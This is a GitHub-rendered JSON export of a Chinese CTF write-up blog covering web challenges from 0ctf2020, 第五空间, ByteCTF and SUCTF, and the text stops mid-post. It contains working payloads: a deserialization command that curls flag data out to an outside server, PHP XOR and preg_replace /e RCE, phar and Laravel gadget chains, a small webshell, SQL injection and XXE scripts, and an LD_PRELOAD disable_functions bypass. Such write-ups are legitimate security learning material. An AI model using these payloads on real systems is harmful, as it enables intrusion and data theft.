-
Notifications
You must be signed in to change notification settings - Fork 0
/
content.json
1 lines (1 loc) · 399 KB
/
content.json
1
{"meta":{"title":"Altm4nz's blog","subtitle":null,"description":null,"author":"Altm4nz","url":"http://altman.vip"},"pages":[{"title":"","date":"2018-11-02T04:52:01.000Z","updated":"2019-04-05T13:23:30.257Z","comments":false,"path":"about/index.html","permalink":"http://altman.vip/about/index.html","excerpt":"","text":"AltmanCUMTBXSWEBCRYPTO"},{"title":"Friends","date":"2018-11-02T04:52:01.000Z","updated":"2019-09-12T03:43:21.576Z","comments":false,"path":"friend/index.html","permalink":"http://altman.vip/friend/index.html","excerpt":"","text":"一叶飘零 berTrAM ShadowGlint Smi1e 夜莫离 glzjin"},{"title":"tags","date":"2018-11-02T05:28:06.000Z","updated":"2018-11-02T05:30:27.605Z","comments":true,"path":"tags/index.html","permalink":"http://altman.vip/tags/index.html","excerpt":"","text":""}],"posts":[{"title":"0ctf2020_web","slug":"0ctf2020-web","date":"2020-06-30T04:21:45.000Z","updated":"2020-06-30T13:06:17.639Z","comments":true,"path":"2020/06/30/0ctf2020-web/","link":"","permalink":"http://altman.vip/2020/06/30/0ctf2020-web/","excerpt":"","text":"Wechat Generator首先两个功能,preview和share。 preview根据对话框内容生成预览图片,share则是分享照片。 简单测试后发现生成图片的url http://pwnable.org:5000/image/jQnEFz/png 修改png后发现返回报错,猜测后台使用ImageMagick 尝试将后缀名改为htm可以看到图片的htm格式。 可以看到我们输入的emoj表情被拼接到了一个url中。那么尝试闭合。 1data=[{\"type\":0,\"message\":\"[basket\\\"/><image href=\\\"/flag\\\" />]Love you!\"},{\"type\":1,\"message\":\"Me too!!!\"}] 成功插入标签。然后去访问渲染成png的图片。 1http://pwnable.org:5000/share/ICDJEO 发现对话框无内容。修改pay 1data=[{\"type\":0,\"message\":\"[basket\\\"/><image href=\\\"text:/flag\\\" />]Love you!\"},{\"type\":1,\"message\":\"Me too!!!\"}] 成功读到flag的内容,应该只是第一层 接下来想办法读web文件内容,没有web目录,直接去读proc。 这里proc被过滤了,双写可以绕过。 1data=[{\"type\":0,\"message\":\"[basket\\\"/><image href=\\\"text:/prprococ/self/cwd/app.py\\\" />]Love you!\"},{\"type\":1,\"message\":\"Me too!!!\"}] 读到文件内容 拿到一个url,访问后发现是让弹窗。 1http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws 由于有CSP限制,并且不能再服务器上控制JS文件内容,使用meta标签跳转。 1data=[{\"type\":0,\"message\":\"[basket\\\"/><memetata http-equiv=\\\"refresh\\\" content=\\\"0;url=http://vps/1.html\\\" >]Love you!\"},{\"type\":1,\"message\":\"Me too!!!\"}] vps上放alert的代码。 访问生成的htm文件 http://pwnable.org:5000/image/NbDxdh/htm 成功跳转弹窗。 上交给admin接口 image/NbDxdh/htm 拿到flag。 Lottery简单注册后三个功能 Buy 10元买一张彩票获得一个enc info 用enc去获取获奖信息 charge 去换对应coin 通过分析enc 1231TX7xBMApPLHpy1wulOqLHH5q9kBXdXb\\/nEm8OBgeGFd+oSYPWX0FGyp92mLLm6aE6NvACVCivOxjS0NRch9Bj1yS+fXGpdwWSi6qvnUNb9UQwxrZ8nMh66mP7JFWZtHT8g6CqCHIqSduY1dpE1F3PbSt9reYD8AcCI4hIXsxZg=l0A/yTcZuD19RfZVSj/lBZA4H4WTFcutBG0Oe75MO3A5wEGaou4mSlU6S+BmU3EiGMxuVsrcR+uWxsOwWr+Fjyew30ptCA0xoX+utpyxgyF/fIBm4CcVncLAVEZqmbttlkL8VB8rDw4FzbQKv88bH/bSt9reYD8AcCI4hIXsxZg=yAi7DdLPnP00NTtwDSkrkTwd9IdghqFlwvrIbMUDgD1X9g+WWHZacx5wFgrKQA+Zbqu2XJgI\\/B3NhGie8zp7Vj1yS+fXGpdwWSi6qvnUNb9UQwxrZ8nMh66mP7JFWZtH\\/60UB7sS0foSe\\/jrTzNt3vbSt9reYD8AcCI4hIXsxZg= 发现后几位是相同的,猜测是ECB分组模式,进行重放攻击。 分析发现将密文前128位替换 12345enc1='yAi7DdLPnP00NTtwDSkrkTwd9IdghqFlwvrIbMUDgD1X9g+WWHZacx5wFgrKQA+Zbqu2XJgI\\/B3NhGie8zp7Vj1yS+fXGpdwWSi6qvnUNb9UQwxrZ8nMh66mP7JFWZtH\\/60UB7sS0foSe\\/jrTzNt3vbSt9reYD8AcCI4hIXsxZg='#{\"info\":{\"lottery\":\"c7ba23fc-adaa-4b34-a323-c623d29c03ec\",\"user\":\"53549d01-75eb-4746-80da-57178b255434\",\"coin\":3}}enc2='l0A/yTcZuD19RfZVSj/lBZA4H4WTFcutBG0Oe75MO3A5wEGaou4mSlU6S+BmU3EiGMxuVsrcR+uWxsOwWr+Fjyew30ptCA0xoX+utpyxgyF/fIBm4CcVncLAVEZqmbttlkL8VB8rDw4FzbQKv88bH/bSt9reYD8AcCI4hIXsxZg='#{\"info\":{\"lottery\":\"a41c0258-ac21-4ec7-94ea-fd4e9d03d4e9\",\"user\":\"6c6e1a9a-a09f-4d65-b72e-ec50ba0aa8fd\",\"coin\":4}} 通过将enc1的前128位替换到enc2上,得到如下明文密文。 12yAi7DdLPnP00NTtwDSkrkTwd9IdghqFlwvrIbMUDgD1X9g%2BWWHZacx5wFgrKQA%2BZbqu2XJgI/B3NhGie8zp7View30ptCA0xoX%2ButpyxgyF/fIBm4CcVncLAVEZqmbttlkL8VB8rDw4FzbQKv88bH/bSt9reYD8AcCI4hIXsxZg={\"info\":{\"lottery\":\"c7ba23fc-adaa-4b34-a323-c623d29c03ec\",\"user\":\"536e1a9a-a09f-4d65-b72e-ec50ba0aa8fd\",\"coin\":4}} 容易看出,我们将明文直至user的前两位进行了替换,关键是将lottery进行了替换。 那么就可以通过替换,将用户1的lottery兑换到用户2上,从而使用户2的coin增加。 下面只需要寻找多个userid前两位相同的账户,购买lottery,将中奖coin兑换到一个账户上即可。","categories":[],"tags":[{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"第五空间线上赛","slug":"第五空间线上赛","date":"2020-06-24T12:24:06.000Z","updated":"2020-06-30T02:32:24.537Z","comments":true,"path":"2020/06/24/第五空间线上赛/","link":"","permalink":"http://altman.vip/2020/06/24/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E7%BA%BF%E4%B8%8A%E8%B5%9B/","excerpt":"WEB只能说题目质量比去年好一些","text":"WEB只能说题目质量比去年好一些 do you know1234$poc=$_SERVER['QUERY_STRING'];if(preg_match(\"/log|flag|hist|dict|etc|file|write/i\" ,$poc)){ die(\"no hacker\"); } 看到$poc是通过QUERY_STRING获取的,显然url编码绕过。再看xxe.php 123if($_SERVER[\"REMOTE_ADDR\"] !== \"127.0.0.1\"){die('show me your identify');} 思路清晰,通过index.php来访问xxe.php造成xxe攻击。准备利用gopher协议向xxe发post包,在构造过程中,post包数据带有file字眼,在第一层被过滤了,用urlencode绕过。然后突然发现。。直接用file协议读文件不就完了? 1http://121.36.64.91/?%75rl=a&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6d%61%69%6e%2e%70%68%70 看到flag.php ,于是去读flag.php拿到flag。应该非预期了,也懒得去继续构造gopher了。 hate-php1234567891011121314151617<?phperror_reporting(0);if(!isset($_GET['code'])){ highlight_file(__FILE__);}else{ $code = $_GET['code']; if (preg_match('/(f|l|a|g|\\.|p|h|\\/|;|\\\"|\\'|\\`|\\||\\[|\\]|\\_|=)/i',$code)) { die('You are too good for me'); } $blacklist = get_defined_functions()['internal']; foreach ($blacklist as $blackitem) { if (preg_match ('/' . $blackitem . '/im', $code)) { die('You deserve better'); } } assert($code);} 过滤了一堆东西,然后塞进assert了,老套路,直接构造异或。网上找的脚本 1234567891011121314151617181920212223<?php$l = \"\";$r = \"\";$argv = str_split(\"cat flag.php\");for($i=0;$i<count($argv);$i++){ for($j=0;$j<255;$j++) { $k = chr($j)^chr(255); if($k == $argv[$i]){ if($j<16){ $l .= \"%ff\"; $r .= \"%0\" . dechex($j); continue; } $l .= \"%ff\"; $r .= \"%\" . dechex($j); continue; } }}echo \"\\{$l`$r\\}\";?> 最终pay 1http://121.36.74.163/?code=(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%93%9e%98%d1%8f%97%8f) zzm’s blog提示了 jackson找到相关文章https://www.cnblogs.com/xinzhao/p/11005419.htmlhttps://www.anquanke.com/post/id/203086 服务器上起一个fakeMysql ,然后安装好ysoserial修改下payload 1http://121.36.46.83/?query={%22id%22:[%22com.mysql.cj.jdbc.admin.MiniAdmin%22,%20%22jdbc:mysql://134.175.2.73:3306/test?autoDeserialize=true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user=yso_CommonsCollections7_bash%20-c%20curl${IFS}http://134.175.2.73:2333/`cat${IFS}/tmp/flag*|base64`%22]} 因为下划线会报错,所以用通配符去读flag,curl带出数据解base64即可 laravel代码审计发现了反序列化点,尝试了5.7.28可用的反序列化链都不行。于是自己找到了新的链 123456789101112131415161718192021222324<?phpnamespace Faker{ class Generator{ protected $formatters = ['addCollection' => 'system']; }}namespace Symfony\\Component\\Routing\\Loader\\Configurator{ class ImportConfigurator { private $parent; protected $route; public function __construct($parent, $route) { $this->parent = $parent; $this->route = $route; } }}namespace test{ $a = new \\Symfony\\Component\\Routing\\Loader\\Configurator\\ImportConfigurator(new \\Faker\\Generator(), \"ls\"); echo urlencode(serialize($a));} 成功RCE 美团外卖www.zip拿到源码首先发现了一个熟悉的文件/lib/webuploader/0.1.5/server/preview.php存在任意文件上传,但是BAN了php,尝试php5上传,然后发现这个文件在线上环境被删了。???继续看,登录处发现注入,但是由于waf存在无法盲注。又在daochu.php找到一处带回显的注入。 1http://119.3.183.154/daochu.php?type=1&imei=\" union select 1,2,hints,4,5,6 from hint # 看到hint,给了个目录。956c110ef9decdd920249f5fed9e4427 进去发现还是登录页面,套娃吗。这个目录下的系统发现preview.php存在,于是上传php5后缀尝试。返回了个e98a4571cf72b798077d12d6c94629.php去访问告诉我get file ,于是 1http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/e98a4571cf72b798077d12d6c94629.php?file=/flag 嗯 这题不知道在考什么。 cryptoroby123456789101112131415161718192021# coding:utf8import gmpy2import libnumimport codecsn=0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557Lc1=0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707Lc2=0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065dc73dcbcbLe1=0xf4c1158fLe2=0xf493f7d1Ls1=libnum.xgcd(e1,e2)[0]s2=libnum.xgcd(e1,e2)[1]if(s1<0): s1=-s1 c1=gmpy2.invert(c1,n)if(s2<0): s2=-s2 c2=gmpy2.invert(c2,n)m=libnum.n2s((pow(c1,s1,n)*pow(c2,s2,n)%n))print(m)","categories":[],"tags":[{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"两个有趣的XSS","slug":"两个有趣的XSS","date":"2020-05-31T16:42:01.000Z","updated":"2020-06-30T16:43:37.686Z","comments":true,"path":"2020/06/01/两个有趣的XSS/","link":"","permalink":"http://altman.vip/2020/06/01/%E4%B8%A4%E4%B8%AA%E6%9C%89%E8%B6%A3%E7%9A%84XSS/","excerpt":"","text":"De1CTF Animal Crossing[https://github.com/De1ta-team/De1CTF2020/blob/master/writeup/web/Animal%20Crossing/README_zh.md](https://github.com/De1ta-team/De1CTF2020/blob/master/writeup/web/Animal Crossing/README_zh.md)","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"ByteCTF_WEB","slug":"ByteCTF-WEB","date":"2019-09-09T00:58:57.000Z","updated":"2020-05-14T03:11:22.331Z","comments":true,"path":"2019/09/09/ByteCTF-WEB/","link":"","permalink":"http://altman.vip/2019/09/09/ByteCTF-WEB/","excerpt":"终于拿到了XCTFfinal的资格 队友都太强了。icloudmusic的wp暂无法公开。其他部分wp见 1https://xz.aliyun.com/t/6324","text":"终于拿到了XCTFfinal的资格 队友都太强了。icloudmusic的wp暂无法公开。其他部分wp见 1https://xz.aliyun.com/t/6324 boringcode代码审计 123456789101112131415161718192021222324252627282930313233<?phpfunction is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\\/\\//i', $url)) { return false; } return true; } return false;}if (isset($_POST['url'])){ $url = $_POST['url']; if (is_valid_url($url)) { $r = parse_url($url); if (preg_match('/baidu\\.com$/', $r['host'])) { $code = file_get_contents($url); if (';' === preg_replace('/[a-z]+\\((?R)?\\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } } } else { echo \"error: host not allowed\"; } } else { echo \"error: invalid url\"; }}else{ highlight_file(__FILE__);} 两个点 域名需要包含baidu.com 绕过正则和过滤将字符串传入eval中执行 第一个点队友财大气粗直接买了个域名,成功绕过。 (缓缓打出一个? 第二个点正则只允许我们传入形如 a(b(c())) 的字符串,且最后一个括号内不能有参数。参考一叶飘零的总结 https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/ 但是这题加大了很多难度,过滤了这么些东西/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/没有et的话所有带get的都不能用了。想getshell几乎不可能了。再加上的提示。只需要达到文件读取就可以了。 先构造出一个可以读当前目录的payloadecho(readfile(end(scandir('.')))) 可以读取目录中最后一个文件。 现在需要构造一个能产生.的函数。找到这个函数 localeconv() ,会返回一个数组,数组第一项就是 “.”那么用current(localeconv())取出第一项,发现nt被BAN了,翻手册找到了pos()函数,是current的别名。那么当前的payloadecho(readfile(end(scandir(current(localeconv())))))但是flag目录在上层目录,需要用chdir跳转。可以chdir只会返回bool值。我们需要找一个函数接受布尔值并且可以输出”.”想到了时间有关函数 time() localtime(),time(true)会返回当前时间戳,但是时间戳的值无法转变为想要的”.”localtime()返回数组,可以提取出秒数的值,用chr转换为字符串”.” 即在46s时 chr(pos(localtime()))就会返回”.”但是localtime()内接受布尔参数会报错,陷入僵局。 继续翻手册发现了 localtime第一参数默认是time() ,那我可以用localtime接受time函数,time接受一个bool值。 构造最终payloadecho(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))))); 把(买的)域名指向到自己的服务器,服务器上放一个文件 1echo \"echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));\" 然后发包去访问,需要简单爆破下,只有在时间为某分46秒时可以读到源码 EZCMS这个题有点难受 没坐上主办方的车 最后用正规解做的www.zip拿到源码简单审计,明显的hash长度拓展攻击,老套路了。 12username:adminpassword:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admina 登陆之后加上cookie fcb0b00520b914c23b9e95db070008ad 继续审计发现一个phar反序列化点。view.php中 1$file = new File($file_name, $file_path); 跟进后filepath会进入mime_content_type函数。再加上我们可以控制上传文件的内容,达成一条反序列化链。两种攻击思路 反序列化调用upload_file函数,上传到其他目录获取shell 重写htaccess内容或者删掉htaccess 第一条路由于使用的是move_uploaded_file,会对tmp文件名检测,在不知道tmp名的情况下无法使用。 走第二条路直接上反序列化构造脚本 1234567891011121314151617181920212223242526272829303132<?phpclass File{ public $filename; public $filepath; public $checker; function __construct($filename, $filepath) { $this->filepath = $filepath; $this->filename = $filename; }}class Profile{ public $username; public $password; public $admin;}$a = new File(\"altman\",\"altman\");$a->checker = new Profile();$a->checker->username = \"/var/www/html/sandbox/a87136ce5a8b85871f1d0b6b2add38d2/.htaccess\";$a->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;$a->checker->admin = new ZipArchive();echo serialize($a);$phar = new Phar(\"1.phar\");$phar->startBuffering();$phar->setStub(\"<?php __HALT_COMPILER(); ?>\"); //设置stub$phar->setMetadata($a); $phar->addFromString(\"test.txt\", \"test\"); //添加要压缩的文件$phar->stopBuffering();?> 构造好后先上传一个简单马,需要绕过黑名单 123456<?php$a=\"syste\";$b=\"m\";$c=$a.$b;$d=$c($_REQUEST['a']);?> 然后将生成的phar上传,利用filter绕过对phar的过滤 (见suctf) 1http://112.126.102.158:9999/view.php?filename=dd7ec931179c4dcb6a8ffb8b8786d20b.txt&filepath=php://filter/resource=phar://sandbox/a87136ce5a8b85871f1d0b6b2add38d2/dd7ec931179c4dcb6a8ffb8b8786d20b.txt 触发反序列化。删掉htaccess。此时切记不要访问upload.php,否则会重新生成htaccess。直接访问沙盒下第一个上传的php文件,拿到shell。 babyblogsql注入扫描发现www.zip拿下源码审计后发现一个二次注入点,在edit.php中 1$sql->query(\"update article set title='$title',content='$content' where title='\" . $row['title'] . \"';\"); title从数据库中取出来后直接拼接进了语句中。绕过过滤构造语句注入 11'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1 ps:其实这里注入数据库没用,需要堆叠注入添加vip账号贴上队友@glzjin的脚本 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273#!/usr/bin/env python3# -*- coding: utf-8 -*-import reimport requests# 1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1def main(): get_all_databases(\"http://112.126.101.16:9999/\")def http_get(url, payload): result = requests.post(url + \"writing.php\", data={'title': \"1'^(\" + payload + \")^'1\", 'content': 'fuhei'}, headers={\"Cookie\": \"PHPSESSID=cs04skbivc1g706vka0f76avt4\"}) result.encoding = 'utf-8' r2 = requests.get(url + \"index.php\", headers={\"Cookie\": \"PHPSESSID=cs04skbivc1g706vka0f76avt4\"}) pattern = re.compile(r'edit.php\\?id=(\\d+)') result1 = pattern.findall(r2.text) result = requests.post(url + \"edit.php\", data={'title': \"fuhei\", 'content': 'fuhei', \"id\": result1[0]}, headers={\"Cookie\": \"PHPSESSID=cs04skbivc1g706vka0f76avt4\"}) result.encoding = 'utf-8' result2 = requests.get(url + \"edit.php?id=\" + result1[0], headers={\"Cookie\": \"PHPSESSID=cs04skbivc1g706vka0f76avt4\"}) print(result2.text.find('ascii') == -1) if result2.text.find('ascii') == -1: return True else: return False# 获取数据库def get_all_databases(url): db_name = \"\" db_payload = \"select(group_concat(schema_name)) from (information_schema.schemata)\" for y in range(1, 32): db_name_payload = \"ascii(substr((\" + db_payload + \"),%d,1))\" % ( y) db_name += chr(half(url, db_name_payload)) print(db_name) print(\"值为:%s\" % db_name) # 二分法函数def half(url, payload): low = 0 high = 126 # print(standard_html) while low <= high: mid = (low + high) / 2 mid_num_payload = \"%s > %d\" % (payload, mid) # print(mid_num_payload) # print(mid_html) if http_get(url, mid_num_payload): low = mid + 1 else: high = mid - 1 mid_num = int((low + high + 1) / 2) return mid_numif __name__ == '__main__': main() 这里搭了一波车,没有堆叠添加vip账户,而是拿了一个其他队伍的vip用户登陆上去了。 命令执行有vip后进入replace发现一处可以命令执行的地方 1$content = addslashes(preg_replace(\"/\" . $_POST['find'] . \"/\", $_POST['replace'], $row['content'])); 服务器版本php5.3,可以用/e修饰符来rce。写成脚本交互 1234567891011121314151617181920212223242526272829303132333435import requestsimport base64cookie={ \"PHPSESSID\":\"pe6c91i1bbks4k21r5endcfh41\"}def write(): url=\"http://112.126.101.16:9999/edit.php\" data={ \"title\":\"glzjin\", \"content\":'glzjin', \"id\":\"2630\" } r=requests.post(url=url,data=data,cookies=cookie) return r.contenturl = \"http://112.126.101.16:9999/replace.php\"command = \"\"\"eval(phpinfo();)\"\"\"payload = \"------WebKitFormBoundary7MA4YWxkTrZu0gW\\r\\nContent-Disposition: form-data; name=\\\"regex\\\"\\r\\n\\r\\n1\\r\\n------WebKitFormBoundary7MA4YWxkTrZu0gW\\r\\nContent-Disposition: form-data; name=\\\"find\\\"\\r\\n\\r\\nglzjin/e\\x00\\r\\n------WebKitFormBoundary7MA4YWxkTrZu0gW\\r\\nContent-Disposition: form-data; name=\\\"content\\\"\\r\\n\\r\\nglzjin\\r\\n------WebKitFormBoundary7MA4YWxkTrZu0gW\\r\\nContent-Disposition: form-data; name=\\\"replace\\\"\\r\\n\\r\\n\" + command +\"\\r\\n------WebKitFormBoundary7MA4YWxkTrZu0gW\\r\\nContent-Disposition: form-data; name=\\\"id\\\"\\r\\n\\r\\n2630\\r\\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\"headers = { 'content-type': \"multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\", 'Cookie': \"PHPSESSID=pe6c91i1bbks4k21r5endcfh41\", 'cache-control': \"no-cache\", }write()response = requests.request(\"POST\", url, data=payload, headers=headers)print(response.text) command处即可执行命令。查看了phpinfo发现需要绕过disable_functions。又上了de1ta的车。tmp目录下发现了de1ta.so。省的再上传了,直接使用。使用没有被BAN的error_Log来绕过disable_functions。 1command = \"\"\"eval('$cmd = \"/readflag \";$out_path = \"/tmp/altman\";$evil_cmdline = $cmd . \" > \" . $out_path . \" 2>&1\";putenv(\"EVIL_CMDLINE=\" . $evil_cmdline);$so_path = \"/tmp/de1ta.so\";putenv(\"LD_PRELOAD=\" . $so_path);error_log(\"\", 1, \"[email protected]\");echo nl2br(file_get_contents($out_path)); unlink($out_path);')\"\"\" 关于bypass可见 https://github.com/l3m0n/Bypass_Disable_functions_Shell网上分析文章很多。 下面两题搬运自队友@glzjin RSS知识点: data:// 伪协议 xxe * 代码审计 SSRF 步骤: 1、打开靶机,看下功能,直接输入一个 rss,给解析出来。 同时限制了读取的域名。 2、那么这里就用 data:// 伪协议直接传数据进去试试,因为 php 对 data 的 mime type 不敏感,直接写成 baidu.com 就可以过这个 host 检测了。为了方便我这里传 base64 之后的。 参考资料:https://www.jianshu.com/p/80ce73919edb 测试没毛病。 3、别忘了 RSS 也是 XML,那么就存在 XXE 的问题,我们来试试。 参考资料:https://gist.github.com/sl4v/7b5e562f110910f85397 ] 123456789101112131415161718<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE title [ <!ELEMENT title ANY ><!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]><rss version=\"2.0\" xmlns:atom=\"http://www.w3.org/2005/Atom\"><channel> <title>The Blog</title> <link>http://example.com/</link> <description>A blog about things</description> <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate> <item> <title>&xxe;</title> <link>http://example.com</link> <description>a post</description> <author>[email protected]</author> <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate> </item></channel></rss> 啊哈,出来了。 4、那么接下来就来读取站点源码试试,注意有尖括号我们需要套一下 php伪协议,转成 base64。 1<!ENTITY xxe SYSTEM \"php://filter/read=convert.base64-encode/resource=index.php\" >]> 5、读取结果 base64 解码一下,得到 index.php 源码。 1234567891011121314151617<?phpini_set('display_errors',0);ini_set('display_startup_erros',1);error_reporting(E_ALL);require_once('routes.php');function __autoload($class_name){ if(file_exists('./classes/'.$class_name.'.php')) { require_once './classes/'.$class_name.'.php'; } else if(file_exists('./controllers/'.$class_name.'.php')) { require_once './controllers/'.$class_name.'.php'; }} 分析下源码,主要是这里有意思, 1usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); 看到没,直接将 $order 拼到函数体里了。那么这里我们就可以利用这里 RCE 了。 当然这里来源 IP 必须为 127.0.0.1,和上面 routes 里的对上了。 9、来利用那个 XXE 来搞个 SSRF,访问这个页面,rss_url 可以随意传个正常的,order 需要插我们要执行的恶意代码。 得到返回,看到 flag 文件名。 10、读下这个文件。 11、Flag 到手~ icloudmusc","categories":[],"tags":[]},{"title":"SUCTF2019_Web_writeup","slug":"SUCTF2019-Web-writeup","date":"2019-08-18T14:36:00.000Z","updated":"2020-05-14T03:24:12.706Z","comments":true,"path":"2019/08/18/SUCTF2019-Web-writeup/","link":"","permalink":"http://altman.vip/2019/08/18/SUCTF2019-Web-writeup/","excerpt":"check in简单的文件上传首先文件中加入","text":"check in简单的文件上传首先文件中加入 12#define test_width 16#define test_height 7 绕过exif_imagetype()方法的检测,然后尝试更改解析规则前期没注意是中间件是nginx,试了好久的.htaccess注意到是nginx后,上传.user.ini 来getshell 参考https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html然后上传1.jpg 用短标签绕过<?的检测此时内容已被包含在index.php中,访问index执行命令。 easyphp代码审计 1234567891011121314151617181920212223242526272829303132333435363738<?phpfunction get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = \"upload/tmp_\".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES[\"file\"])){ $tmp_name = $_FILES[\"file\"][\"tmp_name\"]; $name = $_FILES[\"file\"][\"name\"]; $extension = substr($name, strrpos($name,\".\")+1); if(preg_match(\"/ph/i\",$extension)) die(\"^_^\"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die(\"^_^\"); if(!exif_imagetype($tmp_name)) die(\"^_^\"); $path= $userdir.\"/\".$name; @move_uploaded_file($tmp_name, $path); print_r($path); }}$hhh = @$_GET['_'];if (!$hhh){ highlight_file(__FILE__);}if(strlen($hhh)>18){ die('One inch long, one inch strong!');}if ( preg_match('/[\\x00- 0-9A-Za-z\\'\"\\`~_&.,|=[\\x7F]+/i', $hhh) ) die('Try something else!');$character_type = count_chars($hhh, 3);if(strlen($character_type)>12) die(\"Almost there!\");eval($hhh);?> 经过正则后的字符串放在eval中执行。显然经过多层限制,直接RCE是不行的,需要先执行get_the_flag()函数来触发文件上传,通过上传来getshell。首先需要fuzz出异或的不可见字符来构造一个_GET。利用GET传参执行 1%fe%fe%fe%fe^%a1%b9%bb%aa 最终构造出一个可以执行的payload 1?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=phpinfo 然后执行get_the_flag函数 1http://47.111.59.243:9001/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag 剩下的就和上题很相似了,利用.htaccess更改解析getshell。getshell之后注意还需要bypass open_basedir来读flag。参考https://xz.aliyun.com/t/4720 ps:附上fuzz异或的脚本 123456789<?phpfor($i=0;$i<255;$i++){ $t = chr($i)^chr(254); if($t == $argv[1]){ echo dechex($i); break; }} Pythonginx给出了部分代码 123456789101112131415161718192021222324 @app.route('/getUrl', methods=['GET', 'POST'])def getUrl(): url = request.args.get(\"url\") host = parse.urlparse(url).hostname if host == 'suctf.cc': return \"我扌 your problem? 111\" parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return \"我扌 your problem? 222 \" + host newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) #去掉 url 中的空格 finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return urllib.request.urlopen(finalUrl).read() else: return \"我扌 your problem? 333\" </code> <!-- Dont worry about the suctf.cc. Go on! --> <!-- Do you know the nginx? --> 审计后先想到了最近的blackhat议题。详见https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf仔细读完pdf你就懂了。构造url绕过,根据提示先读nginx 1http://47.111.59.243:9000/getUrl?url=file://suctf.cℂ/../../../usr/local/nginx/conf/nginx.conf 得到flag位置然后读flag 1http://47.111.59.243:9000/getUrl?url=file://suctf.cℂ/../../../usr/fffffflag ezsql好像非预期了直接上payload吧后来得知sql语句为 1select $_GET['a'] || flag from flag 不知道想考什么?。。。 upload labs2代码审计关键点 12345678910111213141516171819if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){ 